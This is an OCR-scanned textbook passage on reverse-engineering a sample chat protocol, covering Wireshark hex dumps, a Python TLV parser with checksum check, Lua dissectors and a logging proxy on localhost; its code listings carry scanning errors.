shown in Figure 5-5, and change the Show and save data as drop-down
menu to the Hex Dump option. The stream should now look similar to

Figure 5-7.
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Figure 5-7: The Hex Dump view of the stream

The Hex Dump view shows three columns of information. The column

at the very left @ is the byte offset into the stream for a particular direction.
For example, the byte at 0 is the first byte sent in that direction, the byte 4 is

the fifth, and so on. The column in the center @ shows the bytes as a hex

dump. The column at the right ® is the ASCII representation, which we saw
previously in Figure 5-5.

Viewing Individual Packets

Notice how the blocks of bytes shown in the center column in Figure 5-7
vary in length. Compare this again to Figure 5-6; you’ll see that other than
being separated by direction, all data in Figure 5-6 appears as one
contiguous block. In contrast, the data in Figure 5-7 might appear as just a
few blocks of 4 bytes, then a block of 1 byte, and finally a much longer block
containing the main group of text data.

What we’re seeing in Wireshark are individual packets: each block is a
single TCP packet, or segment, containing perhaps only 4 bytes of data. TCP
is a stream-based protocol, which means that there are no real boundaries
between consecutive blocks of data when you’re reading and writing data to
a TCP socket. However, from a physical perspective, there’s no such thing
as a real stream-based network transport protocol. Instead, TCP sends
individual packets consisting of a TCP header containing information, such



as the source and destination port numbers as well as the data.

In fact, if we return to the main Wireshark window, we can find a packet
to prove that Wireshark is displaying single T'CP packets. Select Edit » Find
Packet, and an additional drop-down menu appears in the main window, as
shown Figure 5-8.
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Figure 5-8: Finding a packet in Wireshark’s main window

We’ll find the first value shown in Figure 5-7, the string sinx. To do this,
fill in the Find options as shown in Figure 5-8. The first selection box
indicates where in the packet capture to search. Specify that you want to

search in the Packet bytes @. Leave the second selection box as Narrow &
Wide, which indicates that you want to search for both ASCII and Unicode
strings. Also leave the Case sensitive box unchecked and specify that you

want to look for a String value @ in the third drop-down menu. Then enter

the string value we want to find, in this case the string sinx ©. Finally, click
the Find button, and the main window should automatically scroll and

highlight the first packet Wireshark finds that contains the inx string @. In

the middle window at @, you should see that the packet contains 4 bytes, and
you can see the raw data in the bottom window, which shows that we’ve



found the Binx string ®@. We now know that the Hex Dump view Wireshark
displays in Figure 5-8 represents packet boundaries because the Binx string is
in a packet of its own.

Determining the Protocol Structure

To simplify determining the protocol structure, it makes sense to look only
at one direction of the network communication. For example, let’s just look
at the outbound direction (from client to server) in Wireshark. Returning to
the Follow TCP Stream view, select the Hex Dump option in the Show and
save data as drop-down menu. Then select the traffic direction from the

client to the server on port 12345 from the drop-down menu at @, as shown
in Figure 5-9.
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Figure 5-9: A hex dump showing only the outbound direction

Click the Save as . . . button to copy the outbound traffic hex dump to a
text file to make it easier to inspect. Listing 5-7 shows a small sample of that
traffic saved as text.

00000000 42 49 4e 58 BINXO
00000004 00 00 00 od ....0
00000008 00 00 03 55 ...U®
0000000C 00 .0

0000000D 05 61 6C 69 63 65 04 4f 4e 59 58 00 .alice.0 NYX.©



00000019 00 00 00 14

0000001D 00 00 06 3f o2

00000021 03 .

00000022 05 61 6Cc 69 63 65 Oc 48 65 6C 6C 6f 20 54 68 65 .alice.H ello The
00000032 72 65 21 re!

--snip--

Listing 5-7: A snippet of outbound traffic

The outbound stream begins with the four characters sBinx @. These
characters are never repeated in the rest of the data stream, and if you
compare different sessions, you’ll always find the same four characters at the
start of the stream. If I were unfamiliar with this protocol, my intuition at
this point would be that this is a magic value sent from the client to the
server to tell the server that it’s talking to a valid client rather than some
other application that happens to have connected to the server’s TCP port.

Following the stream, we see that a sequence of four blocks is sent. The

blocks at @ and © are 4 bytes, the block at @ is 1 byte, and the block at © is
larger and contains mostly readable text. Let’s consider the first block of 4

bytes at @. Might these represent a small number, say the integer value 0xD
or 13 in decimal?

Recall the discussion of the Tag, Length, Value (I'LV) pattern in
Chapter 3. TLV is a very simple pattern in which each block of data is
delimited by a value representing the length of the data that follows. This
pattern is especially important for stream-based protocols, such as those
running over T'CP, because otherwise the application doesn’t know how
much data it needs to read from a connection to process the protocol. If we
assume that this first value is the length of the data, does this length match
the length of the rest of the packet? Let’s find out.

Count the total bytes of the blocks at @, ®, @, and ©, which seem to be a
single packet, and the result is 21 bytes, which is eight more than the value
of 13 we were expecting (the integer value 0xD). The value of the length
block might not be counting its own length. If we remove the length block
(which is 4 bytes), the result is 17, which is 4 bytes more than the target

length but getting closer. We also have the other unknown 4-byte block at ©
following the potential length, but perhaps that’s not counted either. Of
course, it’s easy to speculate, but facts are more important, so let’s do some
testing.



Testing Our Assumptions

At this point in such an analysis, I stop staring at a hex dump because it’s not
the most efficient approach. One way to quickly test whether our
assumptions are right is to export the data for the stream and write some
simple code to parse the structure. Later in this chapter, we’ll write some
code for Wireshark to do all of our testing within the GUI, but for now we’ll
implement the code using Python on the command line.

To get our data into Python, we could add support for reading Wireshark
capture files, but for now we’ll just export the packet bytes to a file. To
export the packets from the dialog shown in Figure 5-9, follow these steps:

1. In the Show and save data as drop-down menu, choose the Raw option.

2. Click Save As to export the outbound packets to a binary file called
bytes_outbound.bin.

We also want to export the inbound packets, so change to and select the
inbound conversation. Then save the raw inbound bytes using the preceding
steps, but name the file byzes_inbound.bin.

Now use the XXD tool (or a similar tool) on the command line to be sure
that we’ve successfully dumped the data, as shown in Listing 5-8.

$ xxd bytes_outbound.bin

00000000: 4249 4e58 0000 QOOf 0000 0473 0003 626f BINX....... s..bo
00000010: 6208 7573 6572 2d62 6f78 0000 0O 1200 b.user-box......
00000020: 0005 8703 0362 6f62 0c48 6f77 2061 7265 ..... bob.How are
00000030: 2079 6f75 3f00 Q00O 1cOO 0OO8 €303 0362 you?.......... b
00000040: 6f62 1654 6869 7320 6973 206e 6963 6520 ob.This is nice
00000050: 6973 6e€27 7420 6974 3f00 0000 0100 00O 1isn't it?2.......

00000060: 0606 0000 0013 0000 0479 0505 616C 6963 ......... y..alic
00000070: 6500 0000 0303 626f 6203 576f 6f00 0000 e..... bob.Woo. ..
00000080: 1500 0006 8d02 1349 276d 2067 6f69 6e67 ....... I'm going
00000090: 2061 7761 7920 6e6f 7721 away now!

Listing 5-8: The exported packet bytes

Dissecting the Protocol with Python

Now we’ll write a simple Python script to dissect the protocol. Because we’re
: . p p =P

just extracting data from a file, we don’t need to write any network code; we
just need to open the file and read the data. We’ll also need to read binary



data from the file—specifically, a network byte order integer for the length
and unknown 4-byte block.

Performing the Binary Conversion

We can use the built-in Python struct library to do the binary conversions.
The script should fail immediately if something doesn’t seem right, such as
not being able to read all the data we expect from the file. For example, if the
length is 100 bytes and we can read only 20 bytes, the read should fail. If no
errors occur while parsing the file, we can be more confident that our
analysis is correct. Listing 5-9 shows the first implementation, written to
work in both Python 2 and 3.

from struct import unpack
import sys
import os

# Read fixed number of bytes
@ def read_bytes(f, 1):
bytes = f.read(l)
@ if len(bytes) != 1:
raise Exception("Not enough bytes in stream")
return bytes

# Unpack a 4-byte network byte order integer
® def read_int(f):
return unpack("!i1", read_bytes(f, 4))[0]

# Read a single byte
O def read_byte(f):
return ord(read_bytes(f, 1))

filename = sys.argv[1]
file_size = os.path.getsize(filename)

f = open(filename, "rb")
O print("Magic: %s" % read_bytes(f, 4))

# Keep reading until we run out of file
O while f.tell() < file_size:
length = read_int(f)

unkl = read_int(f)
unk2 = read_byte(f)
data = read_bytes(f, length - 1)

print("Len: %d, Unk1: %d, Unk2: %d, Data: %s"
% (length, unk1l, unk2, data))




Listing 5-9: An example Python script for parsing protocol data

Let’s break down the important parts of the script. First, we define some

helper functions to read data from the file. The function read_bytes() @ reads
a fixed number of bytes from the file specified as a parameter. If not enough
bytes are in the file to satisfy the read, an exception is thrown to indicate an

error @. We also define a function read_int() ® to read a 4-byte integer from
the file in network byte order where the most significant byte of the integer

is first in the file, as well as define a function to read a single byte @. In the
main body of the script, we open a file passed on the command line and first

read a 4-byte value @, which we expect is the magic value sinx. Then the

code enters a loop @ while there’s still data to read, reading out the length,
the two unknown values, and finally the data and then printing the values to
the console.

When you run the script in Listing 5-9 and pass it the name of a binary
file to open, all data from the file should be parsed and no errors generated if
our analysis that the first 4-byte block was the length of the data sent on the
network is correct. Listing 5-10 shows example output in Python 3, which
does a better job of displaying binary strings than Python 2.

$ python3 read_protocol.py bytes_outbound.bin

Magic: b'BINX'

Len: 15, Unk1l: 1139, Unk2: 0, Data: b'\x03bob\x08user-box\x00'

Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow are you?'

Len: 28, Unkl: 2275, Unk2: 3, Data: b"\x03bob\x16This is nice isn't it?"

Len: 1, Unkl: 6, Unk2: 6, Data: b''

Len: 19, Unkl: 1145, Unk2: 5, Data: b'\x05alice\x00\x00\x00\x03\x03bob\x03Woo'
Len: 21, Unk1l: 1677, Unk2: 2, Data: b"\x13I'm going away now!"

Listing 5-10: Example output from running Listing 5-9 against a binary file

Handling Inbound Data

If you ran Listing 5-9 against an exported inbound data set, you would
immediately get an error because there’s no magic string sinx in the inbound
protocol, as shown in Listing 5-11. Of course, this is what we would expect if
there were a mistake in our analysis and the length field wasn’t quite as
simple as we thought.

$ python3 read_protocol.py bytes_inbound.bin
Magic: b'\x00\x00\x00\x02'



Length: 1, Unknownl: 16777216, Unknown2: 0, Data: b''
Traceback (most recent call last):
File "read_protocol.py", line 31, in <module>
data = read_bytes(f, length - 1)
File "read_protocol.py", line 9, in read_bytes
raise Exception("Not enough bytes in stream")
Exception: Not enough bytes in stream

Listing 5-11 Error generated by Listing 5-9 on inbound data

We can clear up this error by modifying the script slightly to include a
check for the magic value and reset the file pointer if it’s not equal to the
string BINX. Add the following line just after the file is opened in the original
script to reset the file pointer to the start if the magic value is incorrect.

if read_bytes(f, 4) != b'BINX': f.seek(0)

Now, with this small modification, the script will execute successfully on
the inbound data and result in the output shown in Listing 5-12.

$ python3 read_protocol.py bytes_inbound.bin

Len: 2, Unk1l: 1, Unk2: 1, Data: b'\x00'

Len: 36, Unk1l: 3146, Unk2: 3, Data: b"\x03bob\xleI've just joined from user-box"
Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow are you?'

Listing 5-12: Output of modified script on inbound data

Digging into the Unknown Parts of the Protocol

We can use the output in Listing 5-10 and Listing 5-12 to start delving into
the unknown parts of the protocol. First, consider the field labeled unk1. The
values it takes seem to be different for every packet, but the values are low,
ranging from 1 to 3146.

But the most informative parts of the output are the following two
entries, one from the outbound data and one from the inbound.

OUTBOUND: Len: 1, Unkl: 6, Unk2: 6, Data: b''
INBOUND: Len: 2, Unkl: 1, Unk2: 1, Data: b'\x00'

Notice that in both entries the value of unk1 is the same as unk2. That could
be a coincidence, but the fact that both entries have the same value might
indicate something important. Also notice that in the second entry the
length is 2, which includes the unk2 value and a o data value, whereas the
length of the first entry is only 1 with no trailing data after the unk2 value.



Perhaps unk1 is directly related to the data in the packet? Let’s find out.

Calculating the Checksum

I's common to add a checksum to a network protocol. The canonical
example of a checksum is just the sum of all the bytes in the data you want to
check for errors. If we assume that the unknown value is a simple checksum,
we can sum all the bytes in the example outbound and inbound packets I
highlighted in the preceding section, resulting in the calculated sum shown

in Table 5-2.

Table 5-2: Testing Checksum for Example Packets

Unknown value Data bytes Sum of data bytes

6 6 6
1 1,0 1

Although Table 5-2 seems to confirm that the unknown value matches
our expectation of a simple checksum for very simple packets, we still need
to verify that the checksum works for larger and more complex packets.
There are two easy ways to determine whether we’ve guessed correctly that
the unknown value is a checksum over the data. One way is to send simple,
incrementing messages from a client (like 4, then B, then C, and so on),
capture the data, and analyze it. If the checksum is a simple addition, the
value should increment by 1 for each incrementing message. The alternative
would be to add a function to calculate the checksum to see whether the
checksum matches between what was captured on the network and our
calculated value.

To test our assumptions, add the code in Listing 5-13 to the script in
Listing 5-7 and add a call to it after reading the data to calculate the
checksum. Then just compare the value extracted from the network capture
as unk1 and the calculated value to see whether our calculated checksum
matches.

def calc_chksum(unk2, data):
chksum = unk2
for 1 in range(len(data)):
chksum += ord(data[i:1+1])
return chksum



Listing 5-13: Calculating the checksum of a packet

And it does! The numbers calculated match the value of unki. So, we've
discovered the next part of the protocol structure.

Discovering a Tag Value

Now we need to determine what unk2 might represent. Because the value of
unk2 is considered part of the packet’s data, it’s presumably related to the

meaning of what is being sent. However, as we saw at @ in Listing 5-7, the
value of unk2 is being written to the network as a single byte value, which
indicates that it’s actually separate from the data. Perhaps the wvalue
represents the Tag part of a TLV pattern, just as we suspect that Length is
the Value part of that construction.

To determine whether unk2 is in fact the Tag value and a representation of
how to interpret the rest of the data, we’ll exercise the ChatClient as much
as possible, try all possible commands, and capture the results. We can then
perform basic analysis comparing the value of unk2 when sending the same
type of command to see whether the value of unk2 is always the same.

For example, consider the client sessions in Listing 5-4, Listing 5-5, and
Listing 5-6. In the session in Listing 5-5, we sent two messages, one after
another. We've already analyzed this session using our Python script in
Listing 5-10. For simplicity, Listing 5-14 shows only the first three capture
packets (with the latest version of the script).

Unk2: 0@, Data: b'\x03bob\x08user-box\x00'
Unk2: 3@, Data: b'\x03bob\x0cHow are you?'

Unk2: 3©, Data: b"\x03bob\x16This is nice isn't it?"
*SNIP*

Listing 5-14: The first three packets from the session represented by Listing 5-5

The first packet @ doesn’t correspond to anything we typed into the
client session in Listing 5-5. The unknown value is o. The two messages we
then sent in Listing 5-5 are clearly visible as text in the pata part of the

packets at @ and ©. The unk2 values for both of those messages is 3, which is
different from the first packet’s value of e. Based on this observation, we can
assume that the value of 3 might represent a packet that is sending a message,



and if that’s the case, we’d expect to find a value of 3 used in every
connection when sending a single value. In fact, if you now analyze a
different session containing messages being sent, you’ll find the same value
of 3 used whenever a message is sent.

At this stage in my analysis, I'd return to the various client sessions and try to
corvelate the action I performed in the client with the messages sent. Also, I'd
corvelate the messages I received from the server with the client’s output. Of
course, this is easy when there’s likely to be a one-to-one match between the
command we use in the client and the result on the network. However, more
complex protocols and applications might not be that obvious, so you’ll have to do
a lot of correlation and testing to try to discover all the possible values for
particular parts of the protocol.

We can assume that unk2 represents the Tag part of the TLV structure.
Through further analysis, we can infer the possible Tag values, as shown in

Table 5-3.
Table 5-3: Inferred Commands from Analysis of Captured Sessions
Command Direction Description
number
0 Outbound Sent when client connects to server.
1 Inbound  Sent from server after client sends command 'e
to the server.
2 Both Sent from client when /quit command is used.
Sent by server in response.
3 Both Sent from client with a message for all users. Sent
from server with the message from all users.
5 Outbound Sent from client when /nsg command is used.
6 Outbound Sent from client when /1ist command is used.
7 Inbound  Sent from server in response to /list command.




We’ve built a table of commands but we still don’t know how the data for each
of these commands is represented. To further analyze that data, we’ll return to
Wireshark and develop some code to dissect the protocol and display it in the
GUL It can be difficult to deal with simple binary files, and although we could
use a tool to parse a capture file exported from Wireshark, it’s best to have
Wireshark bandle a lot of that work.

Developing Wireshark Dissectors in Lua

It’s easy to analyze a known protocol like HI'TP with Wireshark because
the software can extract all the necessary information. But custom protocols
are a bit more challenging: to analyze them, we’ll have to manually extract all
the relevant information from a byte representation of the network traffic.

Fortunately, you can use the Wireshark plug-in Protocol Dissectors to
add additional protocol analysis to Wireshark. Doing so used to require
building a dissector in C to work with your particular version of Wireshark,
but modern versions of Wireshark support the Lua scripting language. The
scripts you write in Lua will also work with the tshark command line tool.

This section describes how to develop a simple Lua script dissector for
the SuperFunkyChat protocol that we’ve been analyzing.

Details about developing in Lua and the Wireshark APIs are beyond the scope
of this book. For more information on how to develop in Lua, visit its official
website at  bttps://www.lua.org/docs.btml. The Wireshark website, and
especially the Wiki, arve the best places to visit for various tutorials and example
code (https://wiki.wireshark.org/Lua/).

Before developing the dissector, make sure your copy of Wireshark
supports Lua by checking the About Wireshark dialog at Help » About
Wireshark. If you see the word Lua in the dialog, as shown in Figure 5-10,
you should be good to go.


https://www.lua.org/docs.html
https://wiki.wireshark.org/Lua/
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Figure 5-10: The Wireshark About dialog showing Lua support

If you run Wireshark as root on a Unix-like system, Wireshark will typically
disable Lua support for security reasons, and you’ll need to configure Wireshark
to run as a nonprivileged user to capture and run Lua scripts. See the
Wireshark documentation for your operating system to find out how to do so
securely.

You can develop dissectors for almost any protocol that Wireshark will
capture, including TCP and UDP. It’s much easier to develop dissectors for
UDP protocols than it is for TCP, because each captured UDP packet
typically has everything needed by the dissector. With T'CP, you’ll need to
deal with such problems as data that spans multiple packets (which is exactly



why we needed to account for length block in our work on SuperFunkyChat
using the Python script in Listing 5-9). Because UDP is easier to work with,
we’ll focus on developing UDP dissectors.

Conveniently enough, SuperFunkyChat supports a UDP mode by
passing the --udp command line parameter to the client when starting. Send
this flag while capturing, and you should see packets similar to those shown
in Figure 5-11. (Notice that Wireshark mistakenly tries to dissect the traffic

as an unrelated GVSP protocol, as displayed in the Protocol column @.
Implementing our own dissector will fix the mistaken protocol choice.)
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Figure 5-11: Wireshark showing captured UDP traffic
One way to load Lua files is to put your scripts in the

%APPDATA % \Wireshark \plugins directory on Windows and in the
~/.config/wireshark/plugins directory on Linux and macOS. You can also load
a Lua script by specifying it on the command line as follows, replacing the
path information with the location of your script:

wireshark -X lua_script:</path/to/script. lua>

If there’s an error in your script’s syntax, you should see a message dialog
similar to Figure 5-12. (Granted, this isn’t exactly the most efficient way to



develop, but it’s fine as long as you’re just prototyping.)

,‘ Wireshark 4

e Lua: syntax error during precompilation of "Dk
\dissector.lua’:

[string "DA\dissector.lua™:12: syntax error near
‘function’

OK

Figure 5-12: The Wireshark Lua error dialog

Creating the Dissector

To create a protocol dissector for the SuperFunkyChat protocol, first create
the basic shell of the dissector and register it in Wireshark’s list of dissectors
for UDP port 12345. Copy Listing 5-15 into a file called dissector.lua and

load it into Wireshark along with an appropriate packet capture of the UDP
traffic. It should run without errors.

dissector. lua

-- Declare our chat protocol for dissection
@ chat_proto = Proto("chat","SuperFunkyChat Protocol")
-- Specify protocol fields
® chat_proto.fields.chksum = ProtoField.uint32("chat.chksum", "Checksum",

base.HEX)
chat_proto.fields.command = ProtoField.uint8("chat.command", "Command")
chat_proto.fields.data = ProtoField.bytes("chat.data", "Data")

-- Dissector function
-- buffer: The UDP packet data as a "Testy Virtual Buffer"
-- pinfo: Packet information
-- tree: Root of the UI tree
® function chat_proto.dissector(buffer, pinfo, tree)
-- Set the name in the protocol column in the UI
O pinfo.cols.protocol = "CHAT"

-- Create sub tree which represents the entire buffer.
O local subtree = tree:add(chat_proto, buffer(),
"SuperFunkyChat Protocol Data")
subtree:add(chat_proto.fields.chksum, buffer(0, 4))
subtree:add(chat_proto.fields.command, buffer(4, 1))
subtree:add(chat_proto.fields.data, buffer(5))



end

- Get UDP dissector table and add for port 12345

O udp_table = DissectorTable.get("udp.port")
udp_table:add(12345, chat_proto)

Listing 5-15: A basic Lua Wireshark dissector

When the script initially loads, it creates a new instance of the proto class

@, which represents an instance of a Wireshark protocol and assigns it the
name chat_proto. Although you can build the dissected tree manually, I've

chosen to define specific fields for the protocol at @ so the fields will be
added to the display filter engine, and you’ll be able to set a display filter of
chat.command == 8 so Wireshark will only show packets with command e. (This
technique is very useful for analysis because you can filter down to specific
packets easily and analyze them separately.)

At ©, the script creates a dissector() function on the instance of the proto
class. This dissector() will be called to dissect a packet. The function takes
three parameters:

* A buffer containing the packet data that is an instance of something
Wireshark calls a Testy Virtual Buffer (T'VB).

* A packet information instance that represents the display information for
the dissection.

* The root tree object for the Ul You can attach subnodes to this tree to
generate your display of the packet data.

At O, we set the name of the protocol in the UI column (as shown in

Figure 5-11) to cHat. Next, we build a tree of the protocol elements ©® we’re
dissecting. Because UDP doesn’t have an explicit length field, we don’t need
to take that into account; we only need to extract the checksum field. We
add to the subtree using the protocol fields and use the buffer parameter to
create a range, which takes a start index into the buffer and an optional
length. If no length is specified, the rest of the buffer is used.

Then we register the protocol dissector with Wireshark’s UDP dissector

table. (Notice that the function we defined at ® hasn’t actually executed yet;
we’ve simply defined it.) Finally, we get the UDP table and add our chat_proto



object to the table with port 12345 @®. Now we’re ready to start the
dissection.

The Lua Dissection

Start Wireshark using the script in Listing 5-15 (for example, using the -x
parameter) and then load a packet capture of the UDP traffic. You should
see that the dissector has loaded and dissected the packets, as shown in
Figure 5-13.

At @, the Protocol column has changed to cHat. This matches the first line
of our dissector function in Listing 5-15 and makes it easier to see that we’re

dealing with the correct protocol. At @, the resulting tree shows the
different fields of the protocol with the checksum printed in hex, as we
specified. If you click the Data field in the tree, the corresponding range of
bytes should be highlighted in the raw packet display at the bottom of the

window ©.
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Figure 5-13: Dissected SuperFunkyChat protocol traffic



Parsing a Message Packet

Let’s augment the dissector to parse a particular packet. We’ll use command
3 as our example because we’ve determined that it marks the sending or
receiving of a message. Because a received message should show the ID of
the sender as well as the message text, this packet data should contain both
components; this makes it a perfect example for our purposes.

Listing 5-16 shows a snippet from Listing 5-10 when we dumped the
traffic using our Python script.

b'\x03bob\x0cHow are you?'
b"\x03bob\x16This is nice isn't it?"

Listing 5-16: Example message data

Listing 5-16 shows two examples of message packet data in a binary
Python string format. The \xxx characters are actually nonprintable bytes, so
\xe5 1s really the byte 0x05 and \x16 is 0x16 (or 22 in decimal). Two printable
strings are in each packet shown in the listing: the first is a username (in this
case bob), and the second is the message. Fach string is prefixed by a
nonprintable character. Very simple analysis (counting characters, in this
case) indicates that the nonprintable character is the length of the string that
follows the character. For example, with the username string, the
nonprintable character represents 0x03, and the string bob is three characters
in length.

Let’s write a function to parse a single string from its binary
representation. We’ll update Listing 5-15 to add support for parsing the
message command in Listing 5-17.

dissector_with
_commands. lua

-- Declare our chat protocol for dissection

chat_proto = Proto("chat","SuperFunkyChat Protocol")

-- Specify protocol fields

chat_proto.fields.chksum = ProtoField.uint32("chat.chksum", "Checksum",
base.HEX)

chat_proto.fields.command = ProtoField.uint8("chat.command", "Command")

chat_proto.fields.data = ProtoField.bytes("chat.data", "Data")

-- buffer: A TVB containing packet data
-- start: The offset in the TVB to read the string from
-- returns The string and the total length used



@ function read_string(buffer, start)
local len = buffer(start, 1):uint()
local str = buffer(start + 1, len):string()
return str, (1 + len)

end

-- Dissector function
-- buffer: The UDP packet data as a "Testy Virtual Buffer"
-- pinfo: Packet information
-- tree: Root of the UI tree
function chat_proto.dissector(buffer, pinfo, tree)
-- Set the name in the protocol column in the UI
pinfo.cols.protocol = "CHAT"

-- Create sub tree which represents the entire buffer.
local subtree = tree:add(chat_proto,

buffer(),

"SuperFunkyChat Protocol Data")
subtree:add(chat_proto.fields.chksum, buffer(0, 4))
subtree:add(chat_proto.fields.command, buffer(4, 1))

-- Get a TVB for the data component of the packet.
® local data = buffer(5):tvb()
local datatree = subtree:add(chat_proto.fields.data, data())

local MESSAGE_CMD = 3

© local command = buffer(4, 1):uint()
if command == MESSAGE_CMD then
local curr_ofs = 0
local str, len = read_string(data, curr_ofs)

O datatree:add(chat_proto, data(curr_ofs, len), "Username: " .. str)
curr_ofs = curr_ofs + len
str, len = read_string(data, curr_ofs)
datatree:add(chat_proto, data(curr_ofs, len), "Message: " .. str)
end
end

-- Get UDP dissector table and add for port 12345
udp_table = DissectorTable.get("udp.port")
udp_table:add(12345, chat_proto)

Listing 5-17: The updated dissector script used to parse the Message command

In Listing 5-17, the added read_string() function @ takes a TVB object
(buffer) and a starting offset (start), and it returns the length of the buffer and
then the string.

What if the string is longer than the range of a byte value? Ab, that’s one of the




challenges of protocol analysis. Fust because something looks simple doesn’t mean
it actually is simple. We’ll ignore issues such as the length because this is only
meant as an example, and ignoving length works for any examples we’ve
captured.

With a function to parse the binary strings, we can now add the Message
command to the dissection tree. The code begins by adding the original data

tree and creates a new TVB object @ that only contains the packet’s data. It
then extracts the command field as an integer and checks whether it’s our

message command ©. If it’s not, we leave the existing data tree, but if the field
matches, we proceed to parse the two strings and add them to the data

subtree @. However, instead of defining specific fields, we can add text nodes
by specifying only the proto object rather than a field object. If you now
reload this file into Wireshark, you should see that the username and
message strings are parsed, as shown in Figure 5-14.

‘ wdp_traffic.pcapng -
File Edit View Go Caplure Analyze Statistics Telephony Wireless Tools Help
4 0 ® NE QuewnEFSE . = Qaall
i chat.command == 3 o B3 -] Bxpression...  +
No. Time Source Destination Protocol  Length  Info
34.826120 192.168.10.186 192.168.10.102 CHAT 66 62980 » 12345 Len=24
412.176718 192.168.10.106 192.168.18.102 CHAT 68 62980 -~ 12345 Len=26
7 23.696625 192.168.10.106 192.168.18.102 CHAT 61 62980 - 12345 Len=19
v SuperFunkyChat Protocol Data A
Checksum: Oxeeeeecaf
Command: 3

v Data: ©5616¢6963650¢48656¢6¢c6T20576F726¢6421
@ username: alice
Message: Hello World!
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eedqe [ ZLEr
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Figure 5-14: A parsed Message command

Because the parsed data ends up as filterable values, we can select a message

command by specifying chat.command == 3 as a display filter, as shown at @ in



Figure 5-14. We can see that the username and message strings have been
parsed correctly in the tree, as shown at .

That concludes our quick introduction to writing a Lua dissector for
Wireshark. Obviously, there is still plenty you can do with this script,
including adding support for more commands, but you have enough for

prototyping.

Be sure to wvisit the Wireshark website for more on how to write parsers,
including how to implement a TCP stream parser.

Using a Proxy to Actively Analyze Traffic

Using a tool such as Wireshark to passively capture network traffic for later
analysis of network protocols has a number of advantages over active capture
(as discussed in Chapter 2). Passive capture doesn’t affect the network
operation of the applications you’re trying to analyze and requires no
modifications of the applications. On the other hand, passive capture doesn’t
allow you to interact easily with live traffic, which means you can’t modify
traffic easily on the fly to see how applications will respond.

In contrast, active capture allows you to manipulate live traffic but
requires more setup than passive capture. It may require you to modify
applications, or at the very least to redirect application traffic through a
proxy. Your choice of approach will depend on your specific scenario, and
you can certainly combine passive and active capture.

In Chapter 2, I included some example scripts to demonstrate capturing
traffic. You can combine these scripts with the Canape Core libraries to
generate a number of proxies, which you might want to use instead of
passive capture.

Now that you have a better understanding of passive capture, I'll spend
the rest of this chapter describing techniques for implementing a proxy for
the SuperFunkyChat protocol and focus on how best to use active network
capture.



Setting Up the Proxy

To set up the proxy, we’ll begin by modifying one of the capture examples in
Chapter 2, specifically Listing 2-4, so we can use it for active network
protocol analysis. To simplify the development process and configuration of
the SuperFunkyChat application, we’ll use a port-forwarding proxy rather
than something like SOCKS.

Copy Listing 5-18 into the file chapters_proxy.csx and run it using Canape
Core by passing the script’s filename to the CANAPE.Cli executable.

chapter5
_Pproxy.csx

using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

var template = new FixedProxyTemplate();
// Local port of 4444, destination 127.0.0.1:12345
@ template.lLocalPort = 4444;

template.Host = "127.0.0.1";
template.Port = 12345;

var service = template.Create();
// Add an event handler to log a packet. Just print to console.
@ service.lLogPacketEvent += (s,e) => WritePacket(e.Packet);
// Print to console when a connection is created or closed.
® service.NewConnectionEvent += (s,e) =>
WriteLine("New Connection: {0}", e.Description);
service.CloseConnectionEvent += (s,e) =>
WriteLine("Closed Connection: {0}", e.Description);
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

service.Stop();

Listing 5-18: The active analysis proxy

At @, we tell the proxy to listen locally on port 4444 and make a proxy
connection to 127.0.0.1 port 12345. This should be fine for testing the chat
application, but if you want to reuse the script for another application
protocol, you’ll need to change the port and IP address as appropriate.

At @, we make one of the major changes to the script in Chapter 2: we
add an event handler that is called whenever a packet needs to be logged,



which allows us to print the packet as soon it arrives. At ©, we add some
event handlers to print when a new connection is created and then closed.
Next, we reconfigure the ChatClient application to communicate with
local port 4444 instead of the original port 12345. In the case of ChatClient,
we simply add the --port Num parameter to the command line as shown here:

ChatClient.exe --port 4444 userl 127.0.0.1

Changing the destination in real-world applications may not be so simple.
Review Chapters 2 and 4 for ideas on how to redirect an arbitrary application
Into Your proxy.

The client should successfully connect to the server via the proxy, and the
proxy’s console should begin displaying packets, as shown in Listing 5-19.

CANAPE.C11 (c) 2017 James Forshaw, 2014 Context Information Security.
Created Listener (TCP 127.0.0.1:4444), Server (Fixed Proxy Server)
Press Enter to exit...

@ New Connection: 127.0.0.1:50844 <=> 127.0.0.1:12345

Tag 'Out'® - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'®
: 00 01 02 03 04 05 06 07 08 09 GA OB OC OD OE OF - 0123456789ABCDEF

00000000: 42 49 4E 58 00 00 00 OE 00 00 04 16 00 05 75 73 - BINX.......... us
00000010: 65 72 31 05 62 6F 72 61 78 00 - erl.borax.

Tag 'In'@® - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
: 00 01 02 03 04 05 06 07 08 09 OA OB OC 6D OE OF - 0123456789ABCDEF

00000000: 00 00 00 02 00 00 00 01 01 00 ST

PM - Tag 'Out' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
: 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF - 0123456789ABCDEF

© 00000000: 00 00 00 6D S e

Tag 'Out' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
: 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF - 0123456789ABCDEF

00000000: 00 00 04 11 03 05 75 73 65 72 31 05 68 65 6C 6C - ...... useril.hell
00000010: 6F -0

--snip--
® (Closed Connection: 127.0.0.1:50844 <=> 127.0.0.1:12345



Listing 5-19: Example output from proxy when a client connects

Output indicating that a new proxy connection has been made is shown at
@. Each packet is displayed with a header containing information about its
direction (outbound or inbound), using the descriptive tags out ® and 10 @.

If your terminal supports 24-bit color, as do most Linux, macOS, and
even Windows 10 terminals, you can enable color support in Canape Core
using the --color parameter when starting a proxy script. The colors assigned
to inbound packets are similar to those in Wireshark: pink for outbound and
blue for inbound. The packet display also shows which proxy connection it

came from ©, matching up with the output at @. Multiple connections could
occur at the same time, especially if you’re proxying a complex application.

Each packet is dumped in hex and ASCII format. As with capture in

Wireshark, the traffic might be split between packets as in ©. However,
unlike with Wireshark, when using a proxy, we don’t need to deal with
network effects such as retransmitted packets or fragmentation: we simply
access the raw TCP stream data after the operating system has dealt with all
the network effects for us.

At O, the proxy prints that the connection is closed.

Protocol Analysis Using a Proxy

With our proxy set up, we can begin the basic analysis of the protocol. The
packets shown in Listing 5-19 are simply the raw data, but we should ideally
write code to parse the traffic as we did with the Python script we wrote for
